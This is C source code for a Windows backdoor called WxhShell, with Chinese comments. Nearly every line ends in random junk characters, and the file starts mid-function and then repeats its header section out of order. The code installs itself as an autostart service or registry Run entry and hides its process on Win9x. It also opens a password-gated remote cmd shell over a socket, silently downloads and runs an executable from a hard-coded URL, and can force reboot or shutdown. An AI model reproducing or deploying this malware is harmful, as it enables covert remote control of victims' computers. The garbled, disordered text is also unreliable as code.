    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QO[!  
    if(Boot(SHUTDOWN)) :+bQPzL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |XtN\9V.  
    else { :~~}|Eu  
    closesocket(wsh); SBzJQt@Hs  
    ExitThread(0); W[AX?  
    } 8jMw7ti  
    break; %qV=PC  
    } 4sP0oe[h  
  // 获取shell PL@hsZty~c  
  case 's': { vCb3Ra~L`  
    CmdShell(wsh); )%-FnW  
    closesocket(wsh); ]p\7s  
    ExitThread(0); )U`6` &F  
    break; \5_+6  
  } I ^?TabL  
  // 退出 Z[)t34EY"  
  case 'x': { $k,Z)2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ckj2$c~  
    CloseIt(wsh); g1@zk $  
    break; Q]S~H+eRy  
    } l<ag\ d  
  // 离开 2RFYnDN  
  case 'q': { ylUxK{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )iNM jg  
    closesocket(wsh); 9s>q4_D  
    WSACleanup(); WldlN?[j  
    exit(1); }rj.N98  
    break; 4c_TrNwP  
        } V: fz  
  } =ps3=D  
  } 9.{u2a\  
({v$!AAv  
  // 提示信息 zflq|dW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TD'RvTpl  
} *T-+Pm-Cq  
  } FIL?nkYEO  
(0/,R  
  return; LBq~?Q.e  
} DJVH}w}9_P  
Nj$3Ig"l  
// shell模块句柄 qjFz}6  
int CmdShell(SOCKET sock) 8UJK]_99I,  
{ q_bE?j{  
STARTUPINFO si; VUpa^R  
ZeroMemory(&si,sizeof(si)); eee77.@y-p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cY8X A6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |`+kZ-M*  
PROCESS_INFORMATION ProcessInfo; ]v(8i3P84  
char cmdline[]="cmd"; X;lL$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9UsA>m.  
  return 0; )_k"_VVcC  
} IppzQ0'=y1  
Ls< ";QJc  
// 自身启动模式 w#vSZbh  
int StartFromService(void) Zyt,D|eWj  
{ HY0q!.qog  
typedef struct hiq7e*Nsb  
{ DDxbIkt  
  DWORD ExitStatus; Yz(k4K L  
  DWORD PebBaseAddress; YT'G#U1x~  
  DWORD AffinityMask; a"SH_+T{  
  DWORD BasePriority; ` Fnl<C<  
  ULONG UniqueProcessId; m5m}RWZ#  
  ULONG InheritedFromUniqueProcessId; ZUePHI-dP  
}   PROCESS_BASIC_INFORMATION; Q97F5ru6  
" !F)K  
PROCNTQSIP NtQueryInformationProcess; \UA\0p  
}(k#,&Fv`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TUHm.!+a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h sG~xRA\  
@ 32~#0a  
  HANDLE             hProcess; 3*)<Y}Tc  
  PROCESS_BASIC_INFORMATION pbi; w^OV;gp  
Y)#x(s?t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R % [ZQ K  
  if(NULL == hInst ) return 0; Fa<>2KkOr  
W!vN (1:(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wNo2$>*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q6blX6DWU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -FQ!  
5&?[ Vt  
  if (!NtQueryInformationProcess) return 0; [Jv0^"]  
"yaz!?O>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '!eg9}<  
  if(!hProcess) return 0; !"1}zeve  
B7 PkCS&X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [.J&@96,b  
wpgO09  
  CloseHandle(hProcess); 1(%9)).K  
p]h;M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i7$4i|  
if(hProcess==NULL) return 0; 9{[I|  
TL&`Ywy  
HMODULE hMod; Vw-,G7v&E  
char procName[255]; ,LI$=lJ@  
unsigned long cbNeeded; Z|3 fhaT  
(-S<9u-r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?tzJ7PJ~B  
be?>C 5  
  CloseHandle(hProcess); ],`xd_=]=  
7egE."  
if(strstr(procName,"services")) return 1; // 以服务启动 aa|u *afWQ  
UWU(6J|Fk  
  return 0; // 注册表启动 q4u,pm,@  
} m=Mb'<  
(V&5EO8)  
// 主模块 y7CC5S ?  
int StartWxhshell(LPSTR lpCmdLine) 5k:SD7^b  
{ CD^C}MB  
  SOCKET wsl; yS#)F.  
BOOL val=TRUE; I0iTa99K  
  int port=0; ga?:k,xv  
  struct sockaddr_in door; f( M$m,d  
l5h+:^#M5c  
  if(wscfg.ws_autoins) Install(); X,5}i5'!  
/x%h@Cn!  
port=atoi(lpCmdLine); %MG{KG=&o  
E_q/*}]pE  
if(port<=0) port=wscfg.ws_port; `wI$  
x,wXR=H  
  WSADATA data; ~[8n+p+&X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rR Kbs@1M  
CzMCd ~*7R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0gRj3al(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8Z&M}Llk  
  door.sin_family = AF_INET; ,LE15},  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vCvjb\S  
  door.sin_port = htons(port); ML_$/  
ATQw=w 3W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Borr  
closesocket(wsl); TWzlF>4N  
return 1; FOPfo b[  
} F u>  
vYFtw L`  
  if(listen(wsl,2) == INVALID_SOCKET) { @%lkRU)  
closesocket(wsl); gB _/(  
return 1; 1JQ5bB"  
} uzoI*aqk-s  
  Wxhshell(wsl); Pj-.oS2dA  
  WSACleanup(); *wk?{ U  
D\:dn  
return 0; ^VC /tJ  
# &,W x  
} 1NAGGr00  
Fqt,VED  
// 以NT服务方式启动 jJY{np  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w"`Zf7a{/  
{ Z8Iqgz7|y  
DWORD   status = 0; v)p'0F#6A  
  DWORD   specificError = 0xfffffff; !dQmg'_V  
nxWm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @4t_cxmD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V` T l$EF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LC1WVK/  
  serviceStatus.dwWin32ExitCode     = 0; zqHG2:MN"  
  serviceStatus.dwServiceSpecificExitCode = 0; OV G|WC  
  serviceStatus.dwCheckPoint       = 0; ^4b;rLfk@  
  serviceStatus.dwWaitHint       = 0; -9] ucmN  
zq6)jHfq.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9^L{)t>  
  if (hServiceStatusHandle==0) return; lRk_<A  
mEm=SpO[$o  
status = GetLastError(); t[e]AU[}  
  if (status!=NO_ERROR) $u~*V  
{ ZZ>"LH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {|d28!8w  
    serviceStatus.dwCheckPoint       = 0; M(^_/ 1Z  
    serviceStatus.dwWaitHint       = 0; 9 NGKh3V  
    serviceStatus.dwWin32ExitCode     = status; U{\9mt7b!  
    serviceStatus.dwServiceSpecificExitCode = specificError; )/t&a$[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (*M*muk  
    return; .5"s[(S  
  } .FN;3HU  
&SG5 f[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >'lvZt  
  serviceStatus.dwCheckPoint       = 0; xfF;u9$;  
  serviceStatus.dwWaitHint       = 0; tj? %{L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r|63T%q!  
} HA J[Y3d<  
sYq:2Wn>8Q  
// 处理NT服务事件,比如:启动、停止 yV~TfTJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3'Hz,qP  
{ J9*i`8kU.  
switch(fdwControl) ZEp>~dn;  
{ KE4#vKV0yC  
case SERVICE_CONTROL_STOP: *HsA.W~2W  
  serviceStatus.dwWin32ExitCode = 0; {wDq*va  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +/[L-&,  
  serviceStatus.dwCheckPoint   = 0; x?UAj8z6  
  serviceStatus.dwWaitHint     = 0; {?;qy\m]o  
  { `;=-71Gn~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p[O\}MAd#  
  } 86pA+c+U  
  return; g~ii^[W  
case SERVICE_CONTROL_PAUSE: d,b]#fj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1COSbi]  
  break; ih|;H:"^  
case SERVICE_CONTROL_CONTINUE: DfU]+;AE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x5Ue"RMl+  
  break; :GN++\ 1pw  
case SERVICE_CONTROL_INTERROGATE: !}5f{,.RO  
  break; MQQQaD:v  
}; NEUr w/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e^<'H  
} gyQPQ;"H$2  
!4a#);`G  
// 标准应用程序主函数 S"VO@)d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G|*&owJ  
{ 67;6nXG0K  
l^XOW- ;u  
// 获取操作系统版本 No8-Hm  
OsIsNt=GetOsVer(); d A'0'M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Bq;GO  
d[{!^,%x"  
  // 从命令行安装  ZC%;5O`  
  if(strpbrk(lpCmdLine,"iI")) Install(); o!ZG@k?#  
]H aX.Z<  
  // 下载执行文件 A/"<o5(T(P  
if(wscfg.ws_downexe) { Y_}_)nE@m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G!`PP  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0x,**6  
} !>"fDz<w`  
C;5`G *e  
if(!OsIsNt) { -%0pYB  
// 如果时win9x,隐藏进程并且设置为注册表启动 gAh#H ?MM  
HideProc(); {{Qbu }/@  
StartWxhshell(lpCmdLine); `T+w5ONn  
} qw*) R#=  
else ?yxQs=&-q~  
  if(StartFromService()) )@p?4XsT4J  
  // 以服务方式启动 .R@s6}C`}=  
  StartServiceCtrlDispatcher(DispatchTable); aZ|?i }  
else em95ccs'-  
  // 普通方式启动 =W;e9 6#  
  StartWxhshell(lpCmdLine); ubZJUm  
bEB2q\|Je  
return 0; ie11syhV"  
} c5|sda{  
|g >Q3E  
)+"5($~  
aM xd"cTzx  
=========================================== ?K;l 5$?%  
gkX7,J-0  
LXWI'nxV  
qco uZO  
%Oo f/q  
\4LTViY]  
" Fg 8lX9L  
^Vhl@  
#include <stdio.h> CPL,QVO9  
#include <string.h> &S`g&  
#include <windows.h> 3A{)C_1a  
#include <winsock2.h> Zwz co  
#include <winsvc.h> x N7sFSV@  
#include <urlmon.h> 0WfnX>(C7R  
eM 5#L,Y{  
#pragma comment (lib, "Ws2_32.lib") z@ J>A![m  
#pragma comment (lib, "urlmon.lib") kt0xR)gU  
#s81 k@#X  
#define MAX_USER   100 // 最大客户端连接数 ML MetRP  
#define BUF_SOCK   200 // sock buffer ,NvXpN  
#define KEY_BUFF   255 // 输入 buffer 7p hf  
.heU Ir,  
#define REBOOT     0   // 重启 REgM  
#define SHUTDOWN   1   // 关机 j>e RV ol  
kMK0|+  
#define DEF_PORT   5000 // 监听端口 NjT*5 .  
)#8g<]q  
#define REG_LEN     16   // 注册表键长度 *Wvk~  
#define SVC_LEN     80   // NT服务名长度 Bu&9J(J1  
$=Ns7Sbup  
// 从dll定义API zd)QCq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?G,gPb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .j&#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qclq^|O0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UX[s5#  
_G-y{D_S&  
// wxhshell配置信息 Rj H68=n  
struct WSCFG { dWQB1Y*N  
  int ws_port;         // 监听端口 !V(r p80  
  char ws_passstr[REG_LEN]; // 口令 s*_fRf:  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1og+(m`BL  
  char ws_regname[REG_LEN]; // 注册表键名 G&Dl($  
  char ws_svcname[REG_LEN]; // 服务名 5 2 Qr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )`(]jx!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cC>Svf[CzK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e8T"d%f?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c|`$ h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gC7Po  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,~&HL7 v  
9P ACXW0  
}; hdi0YL  
lZ7 $DGe  
// default Wxhshell configuration x{8h3.ZQ,  
struct WSCFG wscfg={DEF_PORT, 0M roHFh9`  
    "xuhuanlingzhe", uoOUgNwGg  
    1, ^e <E/j{~  
    "Wxhshell", !zx8I7e4  
    "Wxhshell", *!JB^5(H  
            "WxhShell Service", L@/IyQ[H1  
    "Wrsky Windows CmdShell Service", 09anQHa  
    "Please Input Your Password: ", Z)$@1Q4P?1  
  1, "g#%d  
  "http://www.wrsky.com/wxhshell.exe", ^r.CUhx)  
  "Wxhshell.exe" p/RT*?<   
    }; OA=~ i/n~  
qljsoDG  
// 消息定义模块 2_)UHTwsK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9M3"'^ {$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DpvHIE:W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d"miPR  
char *msg_ws_ext="\n\rExit."; %7}j|eS)G  
char *msg_ws_end="\n\rQuit."; 9]w?mHslE  
char *msg_ws_boot="\n\rReboot..."; "f_qG2A{  
char *msg_ws_poff="\n\rShutdown..."; K)wWqC.  
char *msg_ws_down="\n\rSave to "; TEY~E*=}$  
X?[ )e  
char *msg_ws_err="\n\rErr!"; CYQ)'v  
char *msg_ws_ok="\n\rOK!"; G%: 3.:E"  
(YYg-@IO  
char ExeFile[MAX_PATH]; GVJ||0D  
int nUser = 0; OR!W3 @  
HANDLE handles[MAX_USER]; ![_0GFbT  
int OsIsNt; xQDQgvwa  
J ffaT_"\  
SERVICE_STATUS       serviceStatus; {4,],0bjx/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w(aHB8T  
=#[oi3k  
// 函数声明 ;m#4Q6k)V?  
int Install(void); prN+{N8YC  
int Uninstall(void); Ikf[K%NKn  
int DownloadFile(char *sURL, SOCKET wsh); b^C27s  
int Boot(int flag); % g  
void HideProc(void); ltDohm?  
int GetOsVer(void); \>Rfa+  
int Wxhshell(SOCKET wsl); [%^sl>,7  
void TalkWithClient(void *cs); -5 PVWL\  
int CmdShell(SOCKET sock); w6cl3J&  
int StartFromService(void); 1n!:L!,`  
int StartWxhshell(LPSTR lpCmdLine); cPuXy e  
vVw@^7U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sAqy(oy#M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T9w=k)  
oo2d,  
// 数据结构和表定义 K&`1{,  
SERVICE_TABLE_ENTRY DispatchTable[] = l#1#3F  
{ IF0!@f  
{wscfg.ws_svcname, NTServiceMain}, bI|G %  
{NULL, NULL} o}114X4q;  
}; )]FXUz|;  
&`v?oN9$  
// 自我安装 UAhWJ$(C  
int Install(void) F c5t,P  
{ 8\{z>y  
  char svExeFile[MAX_PATH]; F[Mwd &P@  
  HKEY key; fxPg"R!1i  
  strcpy(svExeFile,ExeFile); gAdqZJR%]  
0jlM~H  
// 如果是win9x系统,修改注册表设为自启动 n.2:fk  
if(!OsIsNt) { 8I/3T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +71<B>L   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qc @cd i  
  RegCloseKey(key); ./k7""4   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wCNn/%C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I ]ZZN6"  
  RegCloseKey(key); *YeQC t-l  
  return 0; ;Go^)bN ;  
    } S\8v)|Pr  
  } eN,9N]K  
} zU ~ Ff"<  
else { 2vjkThh`I  
?#=xx.cF  
// 如果是NT以上系统,安装为系统服务 .waw=C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'Tjvq%ks   
if (schSCManager!=0) Ld}?daPj  
{ sb{K%xi%  
  SC_HANDLE schService = CreateService zG6l8%q'UE  
  ( zvdut ,6<  
  schSCManager, "4\  
  wscfg.ws_svcname, 7[;!enO  
  wscfg.ws_svcdisp, >bf.T7wy  
  SERVICE_ALL_ACCESS, mW%8`$rVEO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F6[F~^9D  
  SERVICE_AUTO_START, Zyz#xMmM  
  SERVICE_ERROR_NORMAL, {+WY,%e  
  svExeFile, e6j1Fa9  
  NULL, dz([GP'-*  
  NULL, . &j+&  
  NULL, )&j`5sSXcr  
  NULL, dE_Xd :>  
  NULL l EFd^@t  
  ); H575W"53  
  if (schService!=0) 0<\|D^m=&h  
  { R#4l"  
  CloseServiceHandle(schService); 1$vGQ  
  CloseServiceHandle(schSCManager); @}d;-m~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6(`N!]e*L  
  strcat(svExeFile,wscfg.ws_svcname); <N=k&\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nTr%S&<+"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W34xrm  
  RegCloseKey(key); F1@Po1VTD  
  return 0; .<`)`:n+B  
    } 5U47 5&  
  } k9rws  
  CloseServiceHandle(schSCManager); `-pwP  
} baII!ks  
} .u7} p#  
)C8^'*!  
return 1; wg?}c ;  
} cr!W5+r  
Jh E C  
// 自我卸载 iX+8!>Q  
int Uninstall(void) R<&Euph  
{ '2r  
  HKEY key; <x^$Fu  
d,(y$V+  
if(!OsIsNt) { CwX?%$S   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G)?*BH  
  RegDeleteValue(key,wscfg.ws_regname); ;pW8a?  
  RegCloseKey(key); M[mYG _{J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^}-l["u`  
  RegDeleteValue(key,wscfg.ws_regname); cRnDAn#42  
  RegCloseKey(key); KNAvLcg  
  return 0; Dz~0(  
  } h(/? 81:  
} PF`uwx@zH  
} AfTm#-R  
else { eA!Z7 '  
.A< HM}   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Og7yT{h_  
if (schSCManager!=0) AhF@  
{  <J;O$S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gt}Atr6>_  
  if (schService!=0) DA "V)  
  { <=7nTcO~  
  if(DeleteService(schService)!=0) { TRi#  
  CloseServiceHandle(schService); g9pKoi|\E  
  CloseServiceHandle(schSCManager); <\^o  
  return 0; crIF5^3Yby  
  } 9xK>fM&u  
  CloseServiceHandle(schService); @n)? =[p  
  } / 3N2?zS{  
  CloseServiceHandle(schSCManager); ~JL qh  
} _VT{2`|})  
} 5qnei\~  
caQ1SV^{9  
return 1; d%P2V>P  
} FSQB{9,H  
lubsLI  
// 从指定url下载文件 #EzhtuHxn  
int DownloadFile(char *sURL, SOCKET wsh) Z {^!z  
{ s9wzN6re  
  HRESULT hr; -t4:%-wv  
char seps[]= "/"; MF"*xr v  
char *token; /+92DV  
char *file; Cb+sE"x]  
char myURL[MAX_PATH]; "rn  
char myFILE[MAX_PATH]; Z3TCi7,m  
{A0F/#M]  
strcpy(myURL,sURL); 6)^*DJy  
  token=strtok(myURL,seps); \XB,)XDB  
  while(token!=NULL) FvT4?7-  
  { NRx 7S 9W  
    file=token; v)du]  
  token=strtok(NULL,seps); }'P|A  
  } uBww  
4~Cf_`X}]  
GetCurrentDirectory(MAX_PATH,myFILE); h2zSOY{su  
strcat(myFILE, "\\"); LG,?,%_s  
strcat(myFILE, file); |-=-/u1  
  send(wsh,myFILE,strlen(myFILE),0); N9/k`ZGC  
send(wsh,"...",3,0); F7=9> ,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vX }iA|`#  
  if(hr==S_OK) K`N$nOw  
return 0; bW W!,-|R  
else *,X)tZ6VX  
return 1; }SSg>.48w  
~},H+A!?  
} |^8ND #x  
55O}SUs!P  
// 系统电源模块 VjWJx^ZL#  
int Boot(int flag) Hi[lN7ma8  
{ _K#7#qp2  
  HANDLE hToken; K7&]| ^M9  
  TOKEN_PRIVILEGES tkp; KcV"<9rE  
z#Jw?K_  
  if(OsIsNt) { @TALZk'%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |2^m CL.r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {1)bLG|$  
    tkp.PrivilegeCount = 1; 9\!&c<i=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,.P]5 lE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Jzf+"%lv  
if(flag==REBOOT) { PJB_"?NTTC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aZ~e;}w.Zq  
  return 0; rwDLBpk  
} I '0[  
else { co\?SgE35  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TYuP EVEXZ  
  return 0; ODu/B'*  
} `S((F|Ty=;  
  } l)$mpMgAD  
  else { Q+Nnj(AQY  
if(flag==REBOOT) { zKP[]S-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]CP5s5  
  return 0; BPkMw'a:  
} |5;,]lbt  
else { s>G6/TTH6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mdL T7  
  return 0; DH.`  
} |E K6txRb  
} auN8M.  
yam'LF  
return 1; DH\Ox>b=  
} 9'p| [?]v  
,zZH>P  
// win9x进程隐藏模块 eM$a~4!d  
void HideProc(void) LF.i0^#J  
{ \_.'/<aQ  
FiQ&g*=|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <tTNtBb  
  if ( hKernel != NULL ) 1<@lM8&.kO  
  { JL_(%._J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `GqF/?i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aEdMZ+P.  
    FreeLibrary(hKernel); MkVv5C  
  } ^'Lp<YJs6  
6 p;Pf9 f  
return;  P:6K  
} jR1^e$  
Nkb%4ofKqu  
// 获取操作系统版本 >%6j-:S  
int GetOsVer(void) # d"M(nt  
{ 0 F8xS8vK+  
  OSVERSIONINFO winfo; o7we'1(O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); im<!JMI  
  GetVersionEx(&winfo); C|H`.|Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a.u{b&+9  
  return 1; ~jKIuO/  
  else \Yp"D7:Qi  
  return 0; t#M[w|5?  
} ';.TQ_I7Y  
o$bQ-_B`  
// 客户端句柄模块 Y]R=z*i%  
int Wxhshell(SOCKET wsl) EO'+r[Y  
{ 9J%O$sF  
  SOCKET wsh; Q +hOW-  
  struct sockaddr_in client; br0\O  
  DWORD myID; + ,]&&  
ce4rhtkV  
  while(nUser<MAX_USER) q@1A2L\Om  
{  U'b}%[  
  int nSize=sizeof(client); LkeYzQH/l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xg%{p``  
  if(wsh==INVALID_SOCKET) return 1; B7A.~' =  
hDJ+Rk@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m q<:^  
if(handles[nUser]==0) 56."&0  
  closesocket(wsh); ^38k xwh  
else fm^tU0DY  
  nUser++; n}%_H4t  
  } tvJl-&'N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G|?V}pZ  
'lC=k7@x  
  return 0; F9w2+z.  
} o}36bi{  
z 4. |N  
// 关闭 socket 8oHIXnK  
void CloseIt(SOCKET wsh) mFpj@=^_G  
{ y54RD/`-  
closesocket(wsh); -[=@'N P  
nUser--; LUx'Dm"  
ExitThread(0); T}p|_)&y  
} VKXB)-'L  
L(y~ ,Kc  
// 客户端请求句柄 HE4S%#bH>  
void TalkWithClient(void *cs) Qc9[/4R>  
{ mV7_O//  
:'H}b*VWx  
  SOCKET wsh=(SOCKET)cs; -K^(L #G  
  char pwd[SVC_LEN]; muK)Y w[#N  
  char cmd[KEY_BUFF]; ;(g"=9e  
char chr[1]; oPAc6ObOV~  
int i,j; K=sk1<>)m  
ciH TnC  
  while (nUser < MAX_USER) { dg N #"  
>hnhV6ss  
if(wscfg.ws_passstr) { }&ew}'*9)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qqYQ/4Ajw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dZ,7q_r,~  
  //ZeroMemory(pwd,KEY_BUFF); }sZy|dd  
      i=0; bnp:J|(ld  
  while(i<SVC_LEN) { C`oB [  
;%n(ARZ#  
  // 设置超时 $H,9GIivD  
  fd_set FdRead; [eF|2:  
  struct timeval TimeOut; -RThd"  
  FD_ZERO(&FdRead); E&vCzQ  
  FD_SET(wsh,&FdRead); CZv^,O(M?2  
  TimeOut.tv_sec=8; "g!/^A!!  
  TimeOut.tv_usec=0; 9zehwl]~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gcM(K.n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kvN6K6  
|[bQJ<v6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IgF#f%|Q  
  pwd=chr[0]; >vfLlYx  
  if(chr[0]==0xd || chr[0]==0xa) { )/v`k>E  
  pwd=0; ijNI6_eU  
  break; [/cJc%{N  
  } d/?0xLW  
  i++; K!88 Nox(  
    } WdrMp  
B8-Y)u1G  
  // 如果是非法用户,关闭 socket j]9,yi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bm^8"SSN  
} P_N},Xry  
.w~L0(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1rmN)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sMw"C~XL  
}Oy/F  
while(1) { .O4=[wE!U  
`O,"mm^@U  
  ZeroMemory(cmd,KEY_BUFF); 0c#|LF_  
w4&-9[@Y  
      // 自动支持客户端 telnet标准   ,S3uY6,  
  j=0; f2$<4H hmm  
  while(j<KEY_BUFF) { ` \-m qe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 28,HZaXhc  
  cmd[j]=chr[0]; 5sMyH[5zY  
  if(chr[0]==0xa || chr[0]==0xd) { hcD.-(-;)  
  cmd[j]=0; iEBxBsz_  
  break; fVBu?<=d  
  } e]d\S] 5  
  j++; Q mz3GH@wg  
    } -F-,Gcos  
^W,x  
  // 下载文件 kh*td(pfP9  
  if(strstr(cmd,"http://")) { FwSV \N+#'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Mw $.B#  
  if(DownloadFile(cmd,wsh)) ?Qh[vcF7`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SL% Ec%9Y  
  else W QyMM@#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }Mh`j $  
  } I#t# %!InH  
  else { {$-\)K  
_k5-Wd5Ypw  
    switch(cmd[0]) { .$-%rU:*}  
  1\Vp[^#Vx  
